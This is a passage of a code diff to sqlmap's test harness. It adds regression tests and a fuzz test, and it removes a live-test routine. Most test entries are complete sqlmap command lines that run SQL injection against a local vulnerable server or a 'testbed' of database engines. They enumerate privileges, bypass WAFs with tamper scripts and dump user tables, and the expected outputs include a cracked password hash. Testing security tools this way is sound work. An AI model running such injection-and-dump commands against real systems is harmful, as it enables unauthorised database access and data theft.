'\u0161u\u0107uraj'",)), - (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape", (u": '\u0161u\u0107uraj'",)), + ("-h", ("to see full list of options run with '-hh'",)), + ("--dependencies", ("sqlmap requires", "third-party library")), + ("-u --flush-session --wizard", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")), + (u"-c --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")), + (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)), + ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")), + ("-u '&id2=1' -p id2 -v 5 --flush-session --level=5 --test-filter='AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'", ("~1AND",)), ("--list-tampers", ("between", "MySQL", "xforwardedfor")), - ("-r --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")), + ("-r --flush-session -v 5 --test-skip='heavy' --save=", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")), + (" -r -l --flush-session --banner --technique=B", ("banner: '3.", "STDIN")), ("-l --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), ("-l --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), + ("-u -p id --base64=id --data='base64=true' --flush-session --banner --technique=B", ("banner: '3.",)), + ("-u -p id --base64=id --data='base64=true' --flush-session --tables --technique=U", (" users ",)), + ("-u --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)), + ("-u --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)), ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), ("-u --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), ("-u --flush-session -H 'Foo: Bar' -H 'Sna: Fu' --data='' --union-char=1 --mobile --answers='smartphone=3' --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")), - ("-u --flush-session -H 'id: 1*' --tables", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), + ("-u --flush-session --method=PUT --data='a=1&b=2&c=3&id=1' --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "2 entries")), + ("-u --flush-session -H 'id: 1*' --tables -t ", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter='OR boolean' --tamper=space2dash", ("banner: '3.", " LIKE ")), ("-u --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner", ("NULL connection is supported with HEAD method", "banner: '3.")), ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), - ("-u --technique=U --fresh-queries --force-partial --dump -T users --answer=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary")), + ("-u --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), ("-u --flush-session --all", ("5 entries", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")), ("-u '&echo=foobar*' --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u '&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), - ("-d --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)), + ("-d --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")), ("-d --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)), + ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) retVal = True @@ -106,9 +90,16 @@ def _thread(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((address, port)) - break + s.send(b"GET / HTTP/1.0\r\n\r\n") + if b"vulnserver" in s.recv(4096): + break except: time.sleep(1) + finally: + s.close() + + handle, config = tempfile.mkstemp(suffix=".conf") + os.close(handle) handle, database = tempfile.mkstemp(suffix=".sqlite") os.close(handle) @@ -131,16 +122,32 @@ def _thread(): url = "http://%s:%d/?id=1" % (address, port) direct = "sqlite3://%s" % database + content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url) + open(config, "w+").write(content) + for options, checks in TESTS: status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS))) dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) - cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("", url).replace("", direct).replace("", request).replace("", log)) + for tag, value in (("", url), ("", direct), ("", request), ("", log), ("", config), ("", url.replace("id=1", "id=MZ=%3d"))): + options = options.replace(tag, value) + + cmd = "%s %s %s --batch --non-interactive" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options) + + if "" in cmd: + handle, tmp = tempfile.mkstemp() + os.close(handle) + cmd = cmd.replace("", tmp) + + if "" in cmd: + cmd = re.sub(r"\s*", "", cmd) + cmd = "echo %s | %s" % (url, cmd) + output = shellExec(cmd) - if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks): + if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output: dataToStdout("---\n\n$ %s\n" % cmd) - dataToStdout("%s---\n" % clearColors(output)) + dataToStdout("%s---\n" % output, coloring=False) retVal = False count += 1 @@ -153,50 +160,189 @@ def _thread(): return retVal -def dirtyPatchRandom(): +def bedTest(): """ - Unifying random generated data across different Python versions + Runs the testing against 'testbed' """ - def _lcg(): - global _rand - a = 1140671485 - c = 128201163 - m = 2 ** 24 - _rand = (a * _rand + c) % m - return _rand + TESTS = ( + # MaxDB + ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'SAP MaxDB'", "the back-end DBMS is SAP MaxDB", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("Kernel____7.9.10___Build_003-123-265-343", "Database: DBADMIN", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is SAP MaxDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/maxdb/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Kernel____7.9.10___Build_003-123-265-343", "current database (equivalent to owner on SAP MaxDB): 'SYS'", "current user: 'DBADMIN'", "[1 column]", "| SURNAME | VARCHAR |")), + + # Informix + ("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("retrieved: 47", "IBM Informix Dynamic Server Version 14.10.FC2DE", "Database: testdb", "Table: users", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Informix'", "the back-end DBMS is Informix", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/informix/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("IBM Informix Dynamic Server Version 14.10.FC2DE", "current database: 'testdb'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")), + + # Altibase + ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'Altibase'", "the back-end DBMS is Altibase", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "Database: SYS", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Altibase", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/altibase/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("x86_64-unknown-linux-gnu", "current database (equivalent to owner on Altibase): 'SYS'", "current user: 'SYS'", "[1 column]", "| SURNAME | VARCHAR |")), + + # CockroachDB + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-unknown-linux-gnu", "CockroachDB fork", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: PostgreSQL AND error-based", "the back-end DBMS is PostgreSQL", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/cockroachdb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-unknown-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'root'", "[1 column]", "| surname | varchar |")), + + # CrateDB + ("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("4.0.10", "Database: doc", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'CrateDB'", "the back-end DBMS is CrateDB", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/cratedb/get_int.php?id=1' --flush-session --technique=B --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("4.0.10", "current database (equivalent to schema on CrateDB): 'doc'", "current user: 'crate'", "[1 column]", "| surname |")), + + # Drizzle + ("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("7.1.36-stable", "Drizzle fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/drizzle/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "7.1.36-stable", "current database: 'testdb'", "current user: 'root'", "[1 column]", "| surname | VARCHAR |")), + + # Firebird + ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "possible DBMS: 'Firebird'", "the back-end DBMS is Firebird", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --is-dba --dump --banner --sql-query=\"SELECT 'foobar'\"", ("banner: '2.5", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is Firebird", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/firebird/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --search -C surname --answers='dump=n'", ("banner: '2.5", "current user: 'SYSDBA'", "[1 column]", "| SURNAME | VARCHAR |")), + + # H2 + ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "back-end DBMS could be 'H2'", "the back-end DBMS is H2", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("1.4.192", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is H2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/h2/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: Generic inline queries", "Title: Generic UNION query (NULL) - 3 columns", "1.4.192", "current database (equivalent to schema on H2): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")), + + # HSQLDB + ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'HSQLDB'", "the back-end DBMS is HSQLDB", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("2.3.4", "Database: PUBLIC", "Table: TESTUSERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is HSQLDB", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/hsqldb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: HSQLDB > 2.0 AND time-based blind (heavy query)", "Title: Generic UNION query (NULL) - 3 columns", "2.3.4", "current database (equivalent to schema on HSQLDB): 'PUBLIC'", "current user: 'SA'", "[1 column]", "| SURNAME | VARCHAR |")), + + # IBM DB2 + ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'IBM DB2'", "the back-end DBMS is IBM DB2", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("banner: 'DB2 v", "Database: DB2INST1", "Table: USERS", "5 entries", "ID", "NAME", "SURNAME", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is IBM DB2", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/db2/get_int.php?id=1' --flush-session --technique=U --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("banner: 'DB2 v", "current database (equivalent to owner on IBM DB2): 'DB2INST1'", "current user: 'DB2INST1'", "[1 column]", "| SURNAME | VARCHAR(1000) |")), + + # MariaDB + ("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("10.4.12-MariaDB-1:10.4.12+maria~bionic", "MariaDB fork", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "10.4.12-MariaDB-1:10.4.12+maria~bionic", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")), + + # MySQL + ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")), + ("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.1 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "8.0.19", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")), + + # PostgreSQL + ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")), + ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")), + ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-pc-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")), + ) - def _randint(a, b): - _ = a + (_lcg() % (b - a + 1)) - return _ + retVal = True + count = 0 - def _choice(seq): - return seq[_randint(0, len(seq) - 1)] + for options, checks in TESTS: + status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS))) + dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) + + cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options) + output = shellExec(cmd) + + if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks): + for check in checks: + if check not in output: + print(cmd, check) + dataToStdout("---\n\n$ %s\n" % cmd) + dataToStdout("%s---\n" % output, coloring=False) + retVal = False - def _sample(population, k): - return [_choice(population) for _ in xrange(k)] + count += 1 + + clearConsoleLine() + if retVal: + logger.info("bed test final result: PASSED") + else: + logger.error("best test final result: FAILED") - def _seed(seed): - global _rand - _rand = seed + return retVal - random.choice = _choice - random.randint = _randint - random.sample = _sample - random.seed = _seed +def fuzzTest(): + count = 0 + address, port = "127.0.0.10", random.randint(1025, 65535) + + def _thread(): + vulnserver.init(quiet=True) + vulnserver.run(address=address, port=port) + + thread = threading.Thread(target=_thread) + thread.daemon = True + thread.start() + + while True: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + s.connect((address, port)) + break + except: + time.sleep(1) + + handle, config = tempfile.mkstemp(suffix=".conf") + os.close(handle) + + url = "http://%s:%d/?id=1" % (address, port) + + content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url) + open(config, "w+").write(content) + + while True: + lines = content.split("\n") + + for i in xrange(20): + j = random.randint(0, len(lines) - 1) + + if any(_ in lines[j] for _ in ("googleDork",)): + continue + + if lines[j].strip().endswith('='): + lines[j] += random.sample(("True", "False", randomStr(), str(randomInt())), 1)[0] + + k = random.randint(0, len(lines) - 1) + if '=' in lines[k]: + lines[k] += chr(random.randint(0, 255)) + + open(config, "w+").write("\n".join(lines)) + + cmd = "%s %s -c %s --non-interactive --answers='Github=n' --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0]) + output = shellExec(cmd) + + if "Traceback" in output: + dataToStdout("---\n\n$ %s\n" % cmd) + dataToStdout("%s---\n" % output, coloring=False) + + handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf") + os.close(handle) + open(config, "w+").write("\n".join(lines)) + else: + dataToStdout("\r%d\r" % count) + + count += 1 def smokeTest(): """ Runs the basic smoke testing of a program """ - dirtyPatchRandom() + unisonRandom() + + content = open(paths.ERRORS_XML, "r").read() + for regex in re.findall(r'', content): + try: + re.compile(regex) + except re.error: + errMsg = "smoke test failed at compiling '%s'" % regex + logger.error(errMsg) + return False retVal = True count, length = 0, 0 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if any(_ in root for _ in ("thirdparty", "extra")): + if any(_ in root for _ in ("thirdparty", "extra", "interbase")): continue for filename in files: @@ -204,7 +350,7 @@ def smokeTest(): length += 1 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if any(_ in root for _ in ("thirdparty", "extra")): + if any(_ in root for _ in ("thirdparty", "extra", "interbase")): continue for filename in files: @@ -264,233 +410,3 @@ def _(node): logger.error("smoke test final result: FAILED") return retVal - -def adjustValueType(tagName, value): - for family in optDict: - for name, type_ in optDict[family].items(): - if type(type_) == tuple: - type_ = type_[0] - if tagName == name: - if type_ == "boolean": - value = (value == "True") - elif type_ == "integer": - value = int(value) - elif type_ == "float": - value = float(value) - break - return value - -def liveTest(): - """ - Runs the test of a program against the live testing environment - """ - - retVal = True - count = 0 - global_ = {} - vars_ = {} - - livetests = readXmlFile(paths.LIVE_TESTS_XML) - length = len(livetests.getElementsByTagName("case")) - - element = livetests.getElementsByTagName("global") - if element: - for item in element: - for child in item.childNodes: - if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): - global_[child.tagName] = adjustValueType(child.tagName, child.getAttribute("value")) - - element = livetests.getElementsByTagName("vars") - if element: - for item in element: - for child in item.childNodes: - if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): - var = child.getAttribute("value") - vars_[child.tagName] = randomStr(6) if var == "random" else var - - for case in livetests.getElementsByTagName("case"): - parse_from_console_output = False - count += 1 - name = None - parse = [] - switches = dict(global_) - value = "" - vulnerable = True - result = None - - if case.hasAttribute("name"): - name = case.getAttribute("name") - - if conf.runCase and ((conf.runCase.isdigit() and conf.runCase != count) or not re.search(conf.runCase, name, re.DOTALL)): - continue - - if case.getElementsByTagName("switches"): - for child in case.getElementsByTagName("switches")[0].childNodes: - if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"): - value = replaceVars(child.getAttribute("value"), vars_) - switches[child.tagName] = adjustValueType(child.tagName, value) - - if case.getElementsByTagName("parse"): - for item in case.getElementsByTagName("parse")[0].getElementsByTagName("item"): - if item.hasAttribute("value"): - value = replaceVars(item.getAttribute("value"), vars_) - - if item.hasAttribute("console_output"): - parse_from_console_output = bool(item.getAttribute("console_output")) - - parse.append((value, parse_from_console_output)) - - conf.verbose = global_.get("verbose", 1) - setVerbosity() - - msg = "running live test case: %s (%d/%d)" % (name, count, length) - logger.info(msg) - - initCase(switches, count) - - test_case_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "test_case"), "wb", UNICODE_ENCODING) - test_case_fd.write("%s\n" % name) - - try: - result = runCase(parse) - except SqlmapNotVulnerableException: - vulnerable = False - finally: - conf.verbose = global_.get("verbose", 1) - setVerbosity() - - if result is True: - logger.info("test passed") - cleanCase() - 